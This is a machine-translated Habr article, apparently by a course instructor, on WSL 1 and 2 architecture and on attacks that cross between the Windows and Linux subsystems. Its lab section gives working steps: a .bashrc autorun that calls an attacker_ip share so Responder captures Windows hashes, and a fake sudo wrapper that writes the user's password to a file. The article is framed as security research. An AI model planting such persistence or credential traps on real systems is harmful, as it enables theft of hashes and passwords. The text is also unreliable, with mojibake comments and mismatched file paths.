Nyob zoo, habr! OTUS nthuav tawm cov chav kawm tshiab nyob rau lub Kaum Hli . Hauv kev cia siab ntawm qhov pib ntawm chav kawm, peb tab tom qhia rau koj ib tsab xov xwm sau los ntawm peb tus kws qhia ntawv, Alexander Kolesnikov.
Hauv 2016, Microsoft tau qhia txog WSL thev naus laus zis tshiab rau IT zej zog (Windows Subsystem rau Linux), uas yav tom ntej ua rau nws muaj peev xwm sib sau ua ke yav dhau los cov neeg sib tw tsis sib haum xeeb uas tau tawm tsam kom muaj koob meej ntawm ob qho tib si cov neeg siv OS: Windows thiab Linux. Cov thev naus laus zis no ua rau nws siv tau Linux OS cov cuab yeej hauv Windows ib puag ncig yam tsis tas yuav tsum tau khiav Linux, piv txwv li, siv Multi-boot. Ntawm Habr koj tuaj yeem pom ntau cov kab lus piav qhia txog cov txiaj ntsig ntawm kev siv WSL. Txawm li cas los xij, hmoov tsis, thaum lub sij hawm ntawm tsab xov xwm no tsim, tsis muaj kev tshawb fawb txog kev ruaj ntseg ntawm xws li ib tug symbiosis ntawm kev khiav hauj lwm systems tau pom nyob rau hauv cov ntaub ntawv no. Tsab ntawv no yuav yog ib qho kev sim kho qhov no. Kab lus yuav tham txog cov yam ntxwv ntawm WSL 1 thiab 2 architectures thiab tshuaj xyuas ntau yam piv txwv ntawm kev tawm tsam ntawm cov tshuab siv cov thev naus laus zis no. Kab lus muab faib ua 2 ntu. Thawj zaug yuav muab txoj kev tawm tsam tseem ceeb ntawm Linux thiab Windows. Qhov thib ob tsab xov xwm yuav koom nrog kev teeb tsa ib puag ncig kev sim thiab rov tsim cov kev tawm tsam.
WSL 1: architectural nta
Rau qhov tseeb tshaj plaws dhia mus rau hauv WSL kev ruaj ntseg teeb meem, nws yog ib qho tsim nyog los txiav txim siab lub ntsiab nuances cuam tshuam nrog kev siv ntawm lub subsystem. Ib qho ntawm cov haujlwm tseem ceeb ntawm cov neeg siv daws los ntawm WSL yog lub peev xwm ua haujlwm los ntawm Linux lub davhlau ya nyob twg ntawm tus tswv tsev khiav Windows OS. Tsis tas li ntawd, qhov kev sib raug zoo tau muab yog haiv neeg uas Linux executables (ELFs) tuaj yeem khiav ncaj qha rau ntawm Windows system. Txhawm rau ua tiav cov hom phiaj no, ib qho tshwj xeeb subsystem tau tsim nyob rau hauv Windows 10 uas tso cai rau koj los khiav Linux daim ntawv thov siv cov txheej txheem tshwj xeeb hu - yog li, tau sim ua daim ntawv qhia txheej ntawm Linux syscalls ntawm Windows. Qhov no tau siv lub cev los ntawm kev ntxiv cov tsav tsheb tshiab thiab cov txheej txheem tshiab. Visually lub architecture zoo li no:
Qhov tseeb, kev sib cuam tshuam nrog Linux kev ua haujlwm tau teeb tsa los ntawm ntau lub kernel modules thiab cov txheej txheem tshwj xeeb - pico. Los ntawm daim duab saum toj no, koj tuaj yeem pom tias cov txheej txheem khiav ntawm Linux piv txwv ntawm tus tswv tsev yuav tsum yog haiv neeg thiab yuav tsum siv tib cov peev txheej raws li cov ntawv thov Windows niaj hnub. Tab sis yuav ua li cas kom ua tiav qhov no? Hauv qhov project Cov txheej txheem cov ntsiab lus rau Windows tau tsim uas muab tag nrho cov khoom tsim nyog ntawm kev ua haujlwm (nyob ntawm nws cov version) los khiav ib daim ntawv thov ntawm lwm OS.
Nco ntsoov tias qhov kev xav tsis txaus ntseeg tau ua rau nws tsis tuaj yeem tsom mus rau lub operating system (tshwj xeeb, Windows), nyob rau hauv uas cov txheej txheem ntawm lwm OS yuav tsum tau tshaj tawm, thiab qhia txog txoj hauv kev.
Yog li, txhua daim ntawv thov hauv cov txheej txheem pico tuaj yeem khiav yam tsis xav txog lub Windows kernel:
- Cov teeb meem ntawm kev sib raug zoo thiab kev txhais lus ntawm kev hu xov tooj yuav tsum tau daws los ntawm cov kws kho mob tshwj xeeb;
- Kev tswj kev nkag yuav tsum tau ua los ntawm Kev Saib Xyuas Kev Ruaj Ntseg. Tus saib yog nyob rau hauv cov ntsiav thiab yog li Windows xav tau kev hloov kho tshiab hauv daim ntawv ntawm tus tsav tsheb tshiab uas tuaj yeem ua tus muab kev pabcuam rau cov txheej txheem zoo li no. Tus qauv pico txheej txheem yog schematically nthuav tawm hauv qab no:
Txij li thaum Linux cov ntaub ntawv siv cov ntaub ntawv-sensitive thiab cov npe npe, 2 hom ntaub ntawv tau ntxiv rau Windows ua haujlwm nrog WSL - VolFS thiab DriveFS. VolFS yog qhov kev siv ntawm Linux cov ntaub ntawv kaw lus, DriveFS yog cov ntaub ntawv kaw lus uas ua haujlwm raws li Windows cov cai, tab sis muaj peev xwm xaiv cov ntaub ntawv rhiab heev.
WSL 2
WSL 1 muaj ntau qhov kev txwv uas tsis tso cai rau siv los daws cov haujlwm ntau tshaj plaws: piv txwv li, nws tsis muaj peev xwm khiav 32-ntsis Linux daim ntawv thov, thiab nws tsis tuaj yeem siv cov cuab yeej tsav tsheb. Yog li ntawd, xyoo 2020, WSL 2 raug tso tawm, uas hloov txoj hauv kev los tsim lub subsystem. WSL 2 yog lub tshuab virtual ua kom zoo tshaj plaws uas phim cov peev txheej siv cov yam ntxwv ntawm WSL 1. Tam sim no, nyob ntawm cov teeb meem daws tau los ntawm Windows OS cov neeg siv, koj tuaj yeem xaiv qhov xav tau version ntawm Linux subsystem. Txhawm rau txo qhov muaj qhov tsis zoo, WSL 2 tau ua raws li Hyper-V hauv Windows 10. Hauv daim ntawv no, Windows muaj peev xwm khiav Linux operating system kernel hauv kev sib cais. Nws tsim nyog nco ntsoov tias version 1 ntawm WSL tau qhia ua beta feature uas yuav tsum tau qhia txog kev txhim kho Windows hauv cheeb tsam no, yog li kev hloov mus rau Hyper-V yog qhov kev zam. Qhov kawg architecture zoo li no:
Nyob rau hauv no version, lub Windows thiab Linux kernels muaj lawv tus kheej cov peev txheej thiab kev sib tshuam tsuas muaj nyob hauv cov ntaub ntawv, tab sis qhov kev sib tshuam no tsis tiav. Kev sib cuam tshuam ntawm cov ntaub ntawv kaw lus yog ua los ntawm tus neeg siv-server wrapper uas ua haujlwm siv 9P raws tu qauv.
Niaj hnub no Microsoft muab lub peev xwm hloov ntawm WSL 1 thiab WSL 2. Ob lub versions muaj rau siv.
WSL Kev Ruaj Ntseg
Tam sim no, muaj ntau yam haujlwm piav qhia txog qee txoj hauv kev los siv cov cuab yeej OS raug cai los tawm tsam kev sib txuas lus ntawm subsystems. Peb yuav siv lawv cov ntawv sau los tshuaj xyuas qhov cuam tshuam ntawm kev tawm tsam thaum lub sijhawm sau ntawv. Cov npe dav dav ntawm kev tawm tsam thiab xwm txheej:
1. Kev siv cov ntaub ntawv: cov cai nkag, muaj cov ntaub ntawv sib koom / cov txheej txheem sib pauv ntaub ntawv.
Kev tshawb fawb tau ua los txiav txim siab ua txhaum txoj cai nkag los ntawm Linux FS->Windows FS, Windows FS->Linux FS. Kev tshawb fawb tau pom tias muaj peev xwm hloov kho cov ntaub ntawv muab rau hauv lub hom phiaj OS. Kev sim kuj tau ua los hloov, tsim duplicates thiab rho tawm ib feem ntawm cov ntaub ntawv systems.
Scenario:
- A. Tawm tsam los ntawm Windows operating system - hloov kho cov ntaub ntawv los ntawm /etc directory ntawm Linux OS.
- B. Tawm tsam los ntawm Linux operating system - hloov kho cov ntaub ntawv hauv cov npe:
C:Windows,C:Program Files,C:Users<User>
2. Kev siv lub network pawg.
Kev tshawb fawb tau ua tiav siv cov piv txwv ntawm kev tawm tsam los ntawm Linux operating system ntawm Windows. Cov yam ntxwv ntawm pawg network tau siv, uas yog, kev lees paub cov txheej txheem ntawm ntau yam kev pabcuam.
Scenario:
- Qhib nkag mus rau qhov chaw nres nkoj uas nyob ntawm lub Windows system
- Qhib qhov chaw nres nkoj tsis muaj txoj cai tsim nyog
- Khiav rov qab plhaub siv elf cov ntaub ntawv ntawm Windows operating system.
3. zais qhov tso tawm cov txheej txheem tsis zoo software siv WSL subsystem.
Kev tshawb fawb tau ua raws li qhov tseeb yooj yim - kev ruaj ntseg subsystems tsis tuaj yeem cuam tshuam cov xwm txheej hauv lwm lub kernel uas ua haujlwm siv tus neeg muab kev pabcuam raug cai los ntawm kev khiav haujlwm hauv rooj plaub ntawm WSL 1. Nyob rau hauv rooj plaub ntawm WSL 2, tsis muaj txoj hauv kev los saib cov xwm txheej tshwm sim. nyob rau hauv ib lub kernel cais nyob rau hauv lub teeb yuag virtual tshuab.
Scenario:
1) Tua tawm daim ntawv thov rau cov chaw taws teeb nkag mus rau lub kaw lus thiab saib cov xwm txheej nkag.
WSL 1 kev sim: hash interception (Windows)
Thaum kawg peb tau mus rau lub tswv yim. Ua ntej, koj yuav tsum teeb tsa qhov chaw xeem. Txhua qhov kev sim yuav ua tiav ntawm lub rooj ntev zaum nrog Windows 10 2004 ntsia. Ubuntu 18.04 duab tau raug xaiv los ua cov duab ua haujlwm rau WSL. Cov duab raug xaiv ntawm random, thiab lwm yam yuav ua haujlwm zoo ib yam. Cov lus txib rau kev teeb tsa lub rooj zaum:
Koj yuav tsum xub pib powershell.exe ua tus thawj coj.
Rau WSL 1 koj yuav tsum khiav cov lus txib:
- Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #ΠΠΊΠ»ΡΡΠΈΡΡ ΡΡΠ½ΠΊΡΠΈΡ WSL
- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing #ΠΠ°Π³ΡΡΠ·ΠΈΡΡ ΠΎΠ±ΡΠ°Π· Linux ΠΈΠ· ΠΌΠ°Π³Π°Π·ΠΈΠ½Π° Microsoft
Ubuntu.appx install βroot #Π£ΡΡΠ°Π½ΠΎΠ²ΠΈΠΌ ΠΎΠ±ΡΠ°Π·
ΠΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, ΠΏΡΠΈΠ΄Π΅ΡΡΡ ΠΏΡΠΎΠΊΠ»ΠΈΠΊΠ°ΡΡ ΠΏΡΠΎΡΠ΅ΡΡ Π½Π°ΡΡΡΠΎΠΉΠΊΠΈ ΠΈ ΡΠΎΠ·Π΄Π°ΡΡ Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ, ΠΊΠΎΡΠΎΡΡΠΉ Π±ΡΠ΄Π΅Ρ ΠΈΠΌΠ΅ΡΡ ΠΌΠ΅Π½ΡΡΠ΅ ΠΏΡΠ°Π², ΡΠ΅ΠΌ root. ΠΠ»Ρ Π½Π°ΡΠΈΡ
ΡΠ΅ΡΡΠΎΠ² ΡΡΠΎ Π±ΡΠ΄Π΅Ρ ΠΎΠ±ΡΡΠ½ΡΠΉ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ sam.
Restart-Computer #ΠΠ΅ΡΠ΅Π·Π°Π³ΡΡΠ·ΠΈΠΌ
Tom qab rebooting lub sawv ntsug, koj tuaj yeem hu rau bash hais kom ua. Yog tias txhua yam ua haujlwm raug, koj yuav pom cov txiaj ntsig zoo ib yam li qhov no hauv Windows console:
Peb yuav siv Kali Linux faib raws li tus neeg tua lub tshuab; txhua lub tshuab yuav tsum nyob rau tib lub network hauv zos.
Cia peb xav tias peb muaj unprivileged nkag mus rau WSL ntawm lub tshuab Windows. Cia peb sim tawm tsam Linux kev ua haujlwm los ntawm kev hu xov tooj los ntawm Linux. Txhawm rau siv qhov kev tawm tsam, peb yuav siv cov txheej txheem autorun yooj yim - peb yuav ntxiv peb tsab ntawv rau kev ua tiav hauv Linux ib puag ncig. Ua li no koj yuav tsum tau hloov cov ntaub ntawv .bashrc.
Ntawm lub tshuab nrog WSL peb ua:
1. bash
2. ΠΠ΅ΡΠ΅Ρ
ΠΎΠ΄ΠΈΠΌ Π² Π΄ΠΎΠΌΠ°ΡΠ½ΡΡ Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ: cd /home/sam/
2. echo Β«/home/sam/.attack.shΒ» >> .bashrc
3. echo Β«icalcs.exe Β» \\\\attacker_ip\\shareName\\Β» > /dev/null 2>&1Β» >> .attack.sh
4. chmod u+x .attack.sh
5. exitNtawm Kali Linux tshuab peb khiav:
1. Responder -I eth0 -rdvwNtawm lub tshuab Windows, cia peb pib bash.
Peb tab tom tos qhov tshwm sim ntawm Kali Linux tshuab:
Yog li, peb tau txais Windows neeg siv hashs los ntawm WSL subsystem los ntawm kev ua tiav cov lus txib ntawm Linux system.
WSL 1 kev sim: tau txais tus neeg siv lo lus zais (Linux OS)
Cia peb ua ib qho kev sim ntxiv. Thaum lub sijhawm kuaj no peb yuav ntxiv rau cov ntaub ntawv .bashrc ntau cov lus txib kom tau txais Linux operating system neeg siv lo lus zais.
Cia peb pib bash thiab nkag mus rau cov lus txib:
1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txtΒ» >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit
Txhawm rau ua tiav qhov kev tawm tsam, tus neeg siv Sam xav tau hu rau sudo hauv Linux davhlau ya nyob twg. Tom qab no, Linux OS tus neeg siv lo lus zais yuav nyob hauv cov ntaub ntawv pass.txt:
Kev siv cov kev tawm tsam tau muab rau cov ntaub ntawv theoretical nkaus xwb.
Ib feem tom ntej ntawm tsab xov xwm yuav piav qhia txog kev siv 9P raws tu qauv, xav txog kev tsim lub tshuab scanner rau cov txheej txheem no, thiab tseem ua kom muaj kev tawm tsam siv nws.
Cov npe ntawm cov ntaub ntawv siv
Nyeem ntxiv
Tau qhov twg los: www.hab.com